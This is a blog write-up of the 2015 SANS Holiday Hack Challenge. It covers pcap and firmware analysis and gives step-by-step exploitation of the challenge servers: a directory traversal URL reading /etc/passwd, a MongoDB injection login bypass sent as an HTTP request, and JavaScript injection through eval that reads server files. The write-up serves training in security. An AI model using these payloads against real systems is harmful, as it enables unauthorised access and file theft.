Security News

<< Next Post - Previous Post >>

The 2015 SANS Holiday Hack Challenge Write-Up

For the last 12 years, SANS/Counterhack offers a hacking challenge over the Christmas period. It is a great event, fun and with an increasing level of difficulty which lets everyone having a go.
This year, The 2015 SANS Holiday Hack Challenge was built around a great 8-bit retro web gaming platform where you had to run around a virtual town to find the various hacking challenges.
The plot was centered around a fictitious toy, a gnome, that everyone wanted to have in their home for Christmas. However, two kids found the toy was "behaving" strangely and something was going on.
Through the challenge you will learn that the gnomes had in fact a hidden built-in camera and were transmitting photos to 5 super gnomes (servers) by connecting to free surrounding WIFI networks.

You start the challenge with a pcap file which was intercepted from a gnome. By inspecting it in a tool such as wireshark you will quickly notice some base64 encoded data in DNS traffic.
This will be your first task, to extract that data.
You then get a copy of the gnome firmware. A binary dump file. You will have to extract the linux filesystem embedded into that firmware and go through the configuration files to find the IP address of the first Supergnome server.
You will also gain access to the source code of a common web framework to all the gnomes and supergnomes which will allow you to look for security vulnerabilities.

From there you will use the first Supergnome IP address/web site to find the other 4 Supergnomes IP addresses on "Sho Dan", http://www.shodanhq.com
The main challenge is to find and exploit a different vulnerability on each of the 5 Supergnomes to access and extract a gnome.conf file as well as a picture and email (in the form of a pcap).
The 5 emails and 5 pictures (6 really...) will be used to discover the real plot and identity of the perpetrator (thats the 6th image, XORed with the 5 other images).

There is also a side quest in the retro web game, where you are tasked with errands and achievements as well as finding the lost intern.

Below is my write up of the 2015 challenge. I completed all the challenges and achievements appart for the last Supergnome (Number 5) where I ran out of time. I have provided links to other write up which include a solution to that last challenge.


1) Which commands are sent across the Gnome’s command-and-control channel?
2) What image appears in the photo the Gnome sent across the channel from the Dosis home?
3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
6) Where is each SuperGnome located geographically?
7) Please describe the vulnerabilities you discovered in the Gnome firmware
8) Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
8.1) Supergnome 1 (MongoDB clear text password)
8.2) Supergnome 2 (Directory transversal)
8.3) Supergnome 3 (Hacking NodeJS and MongoDB Injection)
8.4) Supergnome 4 (Javascript Injection)
8.5) Supergnome 5 (Buffer overflow, etc.)
9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?
10) Who is the villain behind the nefarious plot.
11) Other notes

1) Which commands are sent across the Gnome’s command-and-control channel?
Answer:

EXEC:cat /tmp/iwlistscan.txt
FILE:/root/Pictures/snapshot_CURRENT.jpg
FILE:START_STATE,NAME=/root/Pictures/snapshot_CURRENT.jpg

More details:
Loading the pcap in wireshark you see a lot of DNS traffic between 10.42.0.18 and 52.2.229.189. Looking at the payload/content of those requests you notice what looks like base64 payloads, especially those with standard query response 0x1337.
Standard reply for no action from C&C is
Tk9ORTo=
NONE:


First packet to have weird payload is 363 from the C&C:
RVhFQzppd2NvbmZpZwo=
EXEC:iwconfig


then the following packets:
answer from 10.42.0.18
RVhFQzpTVEFSVF9TVEFURQ==
EXEC:START_STATE

RVhFQzp3bGFuMCAgICAgSUVFRSA4MDIuMTFhYmduICBFU1N\
JRDoiRG9zaXNIb21lLUd1ZXN0IiAgCg==
EXEC:wlan0 IEEE 802.11abgn ESSID:"DosisHome-Guest"
etc…

Then again at frame 573
RVhFQzpjYXQgL3RtcC9pd2xpc3RzY2FuLnR4dAo=
EXEC:cat /tmp/iwlistscan.txt
etc…


And finally at frame 875
RklMRTovcm9vdC9QaWN0dXJlcy9zbmFwc2hvdF9DVVJSRU5ULmpwZwo=
FILE:/root/Pictures/snapshot_CURRENT.jpg
etc...


2) What image appears in the photo the Gnome sent across the channel from the Dosis home?
Answer:

GnomeNET-NorthAmerica


More Details:
In Wireshark, go to frame 364, right click and select follow UDP stream, save the text into a file: file.txt
you then need to remove the NAME field from the payload so you only get the TXT/Base64 payload

> sed < file.txt "s/.7...........reply.sg1.atnascorp.com..................//g” > newfile.txt
> base64 -d newfile.txt > snapshot_CURRENT.jpg


3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
Answer:

Operating system is Openwrt (Bleeding Edge, r47650), Linux based OS
The CPU type is ARM CPU 32 bit
The web interface is node.js / express

More Details:
Using binwalk on the firmware provides the information and files we need:

> binwalk giyh-firmware-dump.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PEM certificate
1809 0x711 ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
168803 0x29363 Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes, 4866 inodes, blocksize: 131072 bytes, created: Tue Dec 8 18:47:32 2015

> binwalk -e giyh-firmware-dump.bin
produces only 2 files:
0.crt 29363.squashfs

If you try to mount the squashfs file on a vanilla install of Kali 2, it produces the following error:
mount: wrong fs type, bad option, bad superblock on /dev/loop0,
missing codepage or helper program, or other error


so you need to first do:

> sudo apt-get install squashfs-tools

You can then mount the squash filesystem by running the following command on the extracted squashes file:

> unsquashfs 29363.squashfs

You can now explore the firmware filesystem and find the following information to answer the challenge question:
/etc/banner
Openwrt (Bleeding Edge, r47650)

binwalk dump information
ARM CPU 32 bit

/etc/init.d/
node.js

As a side note, as I don’t believe it is useful for the challenge, notice when doing binwalk that there should be 3 files. 1x certificate, 1 elf arm shared object and 1x squashfs
when doing binwalk -e , you only get the cert and the squashfs.
So you can try to extract manually with dd:

> dd if=giyh-firmware-dump.bin of=elf_object bs=1 skip=1809

Now run binwalk on that new file

> binwalk elf_object

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
166994 0x28C52 Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes, 4866 inodes, blocksize: 131072 bytes, created: Tue Dec 8 18:47:32 2015

An easy and lazy way to extract that elf object is to run dd again

> dd if=elf_object of=elf_object_extracted bs=1 count=166993


4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
Answer:

The database is mongodb
the plaintext username/passwords are: user/user and admin/SittingOnAShelf

More Details:

You can find a reference of the MongoDB database in the following firmware files:
references in /opt/mongodb
also in /etc/init.d/nodejs and mongod


You can use “strings” on opt/mondodb/gnome.0
Or you can install the MongoDB framework, create a local mongodb.conf in the directory where the gnome.0 file is located and in that config file change the pathDB to point to the current directory (“.”)
Launch the MongoDb Daemon with the following parameters:

> mongod —config=mongodb.conf

In another terminal, launch a mongo client:

> mongo

and you can navigate in the database to find those credentials:

> show dbs
> use gnome
> show collections
> db.users.find()
{ "_id" : ObjectId("56229f58809473d11033515b"), "username" : "user", "password" : "user", "user_level" : 10 }
{ "_id" : ObjectId("56229f63809473d11033515c"), "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 }


5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
Answer:

SG1: 52.2.229.189
SG2: 52.34.3.80
SG3: 52.64.191.71
SG4: 52.192.152.132
SG5: 54.233.105.81


More Details:
In the following network file you will find the first IP
/etc/hosts/
# LOUISE: NorthAmerica build
52.2.229.189 supergnome1.atnascorp.com sg1.atnascorp.com supergnome.atnascorp.com sg.atnascorp.com

If you point your browser to it, you will notice a SuperGnome portal and the following title in the titlebar: GIYH
Search for that term in Shodan and you will get all the IPs

6) Where is each SuperGnome located geographically?
Answer:

SG1: United States, Ashburn
SG2: United States, Boardman
SG3: Australia, Sydney
SG4: Japan, Tokyo
SG5: Brasil


7) Please describe the vulnerabilities you discovered in the Gnome firmware
Answer:

There are some clear text credentials in the /opt/mongodb/gnome.0 database
There is a set of mongodb credentials in clear text in /www/apps.js

Most of the SG vulnerabilities can also be found in the /www/routes/index.js
Basically, everytime there is a commented line by LOUISE, STUART, AUGGIE or NEDFORD there is a problem!
See next section for details.

8) Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
Common Answer for all SuperGnome (SG) website:

Using the password found in previous question (admin/SittingOnAShelf) you get access to the website and all the menus.
There is one exception for SG3 where those credentials do not work, the credentials (user/user) work but you don’t need any working password to access the site, see the SG3 answers for more details

On each one of the SG you will find:
- The gnome.con file asked for that question
- An image you will need to decipher who planned the whole plot
- A pcap with an email which will also help you understanding what this is all about.

8.1) Answer for SG1 (MongoDB clear text pwd)
52.2.229.189
From the gnome.conf file you can find its serial number:
Gnome Serial Number: NCC1701
(This is the serial code of the USS Enterprise)

Using the password found in previous question (admin/SittingOnAShelf) you get access to the website and there is no more hack required. Just download the files from the ‘files” section.

8.2) Answer for SG2 (Directory transversal)
52.34.3.80
From the gnome.conf file you can find its serial number:
Gnome Serial Number: XKCD988
(This is a reference to the following XKCD comic: https://xkcd.com/988/)

To get to the files you need to leverage 2 issues.
First, looking at the source code you will notice there is an option to display a single camera image by adding to the URL:
"/cam?camera=1.png"
There is a commented line in the firmware version that only adds “.png” if it isn’t already in the path/filename sent as a parameter. That line isn’t commented on this SG server!
This means that if we can somehow include a .png somewhere in the pathname, we could then get the website to display /etc/passwd or another files we want (i.e.: gnome.conf) using the typical directory transversal technic (../../../)

To do this, we can use the second issue. The settings section of SG2 allows you to upload a config file and specify the path. Although the file will never be uploaded, the directories will be created.

Combining those 2 issues you can get to the files you need.
First, upload any files in the settings section with the following path/filename:
"test.png/whatever.cfg"
Note that we used ".png" as part of a path or directory name... this is the "trick" to solve this challenge!


Save the URL returned and ignore the error
Dir /gnome/www/public/upload/hWUXVgxw/test.png/ created successfully!

Then use the above directory you just created and use it with the "/cam?camera=“ function:
http://52.34.3.80/cam?camera=../../../../gnome/www/public/upload/
hWUXVgxw/test.png/../../../../../../etc/passwd

This will display the /etc/passwd file.
You can do the same for all the other files you want to download, i.e.:
http://52.34.3.80/cam?camera=../../../../gnome/www/public/upload/hWUXVgxw/test.png/
../../../../../../gnome/www/files/gnome.conf


Note that for the above URL to work you need to be logged in the portal with the admin credentials mentioned previously.

8.3) Answer for SG3 (Hacking NodeJS and MongoDB Injection)
52.64.191.71
From the gnome.conf file you can find its serial number:
Gnome Serial Number: THX1138
(The first movie by George Lucas: https://en.wikipedia.org/wiki/THX_1138)

Looking at the firmware www/route/index.js and especially the router.post() function used for the web portal login process, we notice the MongoDB function findOne() used to check if the userId and password are correct/found does not check for strings boundaries.
One hint can be found in the URL: http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html which explains how to do similar well known SQL injection (1 = 1) in MongoDB.
Using BURP we can easily manipulate a POST request to login as an admin with no password

To do that, setup BURP to be your web proxy, generate a failed login with any credentials.
In BURP, identify the failed login attempt in your proxy history and send it to the BURP repeater.
In there you can change the POST request to look like this:

POST / HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/
Cookie: sessionid=00NnbWbO5at0TipqFwkB
Connection: close
Content-Type: application/json
Content-Length: 59

{
"username": "admin",
"password": {"$gt": ""}
}

Note that the above payload will not work if you just copy and past it into your BURP instance. This is because you still need a valid sessionid (which expires over time), hence why you need to generate the failed login (it still generates a valid sessionid) and use the repeater.
The above payload will log you in the web portal as admin, it is then just a matter of re-using that session with your favorite browser and access the files you need (you can right click on the repeater and ask for the action to take place in a browser rather than BURP).

8.4) Answer for SG4 (Javascript Injection)
52.192.152.132
From the gnome.conf file you can find its serial number:
Gnome Serial Number: BU22_1729_2716057
(a reference to Futurama BU22=BUZZ, 1729=appears many times, 2716057=Bender's serial number)

In the files section, you can upload a .png file and select a post-processing option.

Using BURP Proxy you notice the following is requested to the server

postproc("timestamp", file)

To check if you can inject some code, replace the postroc line with

res.write('hello world')

This will result in "hello world" to be returned by the server

Note this will only work if you have, again, a “working” session. And in this case you also need to be logged on to the site with the admin password we found in the mongodb previously and that this session hasn’t expired.
To manipulate the code in BURP, setup your browser to use BURP as a proxy and logon to the site on your browser, then upload any file.
In BURP, go to the proxy history section, look at the HTTP data related to the file upload session and send that request to the repeater.
in the repeater section you can easily change the the postproc line with whatever you want (or update the sesisonid if your session has expired).

So.... what about /etc/passwd?

This time we replace the “postproc” line with something a little more complex:

fs = require('fs'),
text = fs.readFileSync(‘/etc/passwd','utf8'),
res.write(text)


It is important to note that ReadFile() does not work due to the asynchronous nature of the function so we used readFileSync and it worked.
then you can get the gnome.con at: '/gnome/www/files/gnome.conf'

now, if you look at the firmware code in "www/routes/index.js" you can understand why this happens. It is because of the following line in the postproc function:

result = eval('(' + postproc_syntax + ')');

you will also notice this line:

msgs.push('Post process result: ' + result);

It means whatever is evaluated gets printed... there is in fact no need for the res.write(). This is useful to know in order to get the other files, as if the file is too big it won't print with that function.

Below we change our code, to get the zip file and we also do a base64 encoding
you will need to remove the HTML header and footer from the data returned by the server. You may also have to remove all carriage returns with a sed.

You can do that in BURP (repeater) or with a telnet to the server and copy and paste the whole modified POST query. Just don’t forget for the last 2 lines to be carriage returns!

(function () {
var fs = require('fs');
var text = fs.readFileSync('/gnome/www/files/gnome.conf');
base64str = text.toString('base64');
return base64str;
})()

As a side note, I also used the following code (borrowed from a google search) to list directories/files. It is a bit fiddly, but it mostly works! You just need to specify the directory you want to list in the return call (last line)

(function () {
var _getAllFilesFromFolder = function(dir) {
var filesystem = require("fs");
var results = [];
filesystem.readdirSync(dir).forEach(function(file) {
file = dir+'/'+file;
var stat = filesystem.statSync(file);
//res.write(file);
if (stat && stat.isDirectory()) {
results = results.concat(_getAllFilesFromFolder(file))
} else results.push(file);
});
return results;
};
return _getAllFilesFromFolder("/gnome");
})()


8.5) Answer for SG5 (Buffer overflow, etc.)
54.233.105.81

I didn’t get the time to solve that one. But below is what I managed to find anyway.
Doing an nmap scan against the server shows there is an extra service running compare to the other SG, port 4242
A telnet to that port connects you to a service with 3 options.
That service, you can find the source code in the firmware as well as on each of the SG (sgnet zip file). Looking at the source code of “sgtatd.c” reveals a secret command on line 66 where “case 88:” is specified which is the ASCII code for “X”. Typing X opens an interactive session.
Again, by analysing the code you can see the aim is to leverage a buffer overflow, repair canaries, etc.
Alas, there was no time left for me!

However, you can get the answer from those 3 other excellent write-up (which puts this one to shame!)
(BEST I found) http://www.tophertimzen.com/blog/sansHoliday2015/
(This one has all the emails) http://www.mickeycecil.com/hackology/sans-holiday-hack-2015-submission/
(another good one) http://youremindmeofmymother.com/2015/12/14/write-up-2015-sans-holiday-hack-challenge-part-1/

9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

(email 1) Hacking each of the Supergnome gives you access to 5 different pcaps with a different email in each of them.
You learn that a certain C. has hired on the 26th of December 2014, Jojo who is one of the best architect in town for a distributed surveillance system. Jojo designed a command and control infrastructure to control the gnomes through 5 Super Gnomes.
They plan to start procuring hardware in February 2015.

(email 2) That C. then orders 2 million units with the following specification, 250,000 units each week from April 1, 2015 until June 1,2015:
+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
+ Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

(email 3) That hardware appears to be for the gnomes, to spy on people and used to select specific items of interest/value in each of the 2 million houses so they can be robbed on the 24th of December 2015 by a team of thieves all controlled by C.
C. , is now known as CLW, the president and CEO of ATNAS Corporation. Each burglar will wear a Santa suit and they will share the profits from selling back the stolen items 50-50 with CLW.
If you didn't notice before, ATNAS stands for SANTA in reverse

(email 4) CLW stands for Cindy Lou Who, and an intercepted email to her psychiatrist reveals she was scared as a child at Christmas by "The Grinch". When she learnt that "The Grinch" did not go through his evil plan, her fear of Christmas boiled into hatred for the holiday season, thus the reason why she has planned this evil plot.

There is a 5th email, which I did not find as you need to hack the last 5th Super Gnome, but others have found it and it is an email from the Grinch apologising to Cindy Lou and hoping she can understand that Christmas is about forgiveness and love!

10) Who is the villain behind the nefarious plot.

The vilain is Cindy Lou Who from the movie How the Grinch Stole Christmas!
You can find the answer from the 4th email (Super Gnome 4) and also from the XOR encrypted picture from the first Super Gnome.
Below is the picture I recovered having 4 of the 5 pictures needed to XOR the encrypted picture to its original form.
Although not complete, it is good enough to find out who it is and get the confirmation you might have needed (plus, it looks rather nice like that! :)

I used a java tool to XOR all the image from this website:
https://sites.google.com/site/thehighspark/image-xor-ing

The Encrypted image:

The almost decrypted image!


11) Other notes
The 8 bit retro game that was used as the challenge framework also had a few secrets.
Two were in Ed Skoudis house, mirroring his real secret and secret secret room! :)
Going to his home office there is a secret room by the library on the left. In there, there is a secret secret room by the painting at the top.

To access the house with the access code (0262), you need to go through the small hole in the fence. The access code is given by speaking to one of the Counterhack staff in the game.
Once inside, you need to use another hint about the “Konami Code” to navigate through the rooms.

Et voila. That’s me done this year. I am looking forward to read other peoples walkthrough and thank you again for a great challenge!
Other people have also published there solutions, such as:
(BEST I found) http://www.tophertimzen.com/blog/sansHoliday2015/
(This one has all the emails) http://www.mickeycecil.com/hackology/sans-holiday-hack-2015-submission/
(another good one) http://youremindmeofmymother.com/2015/12/14/write-up-2015-sans-holiday-hack-challenge-part-1/

Until next time…
(Thanks to Mr Teut and Mr T. for bouncing back ideas!)

<< Next Post - Previous Post >>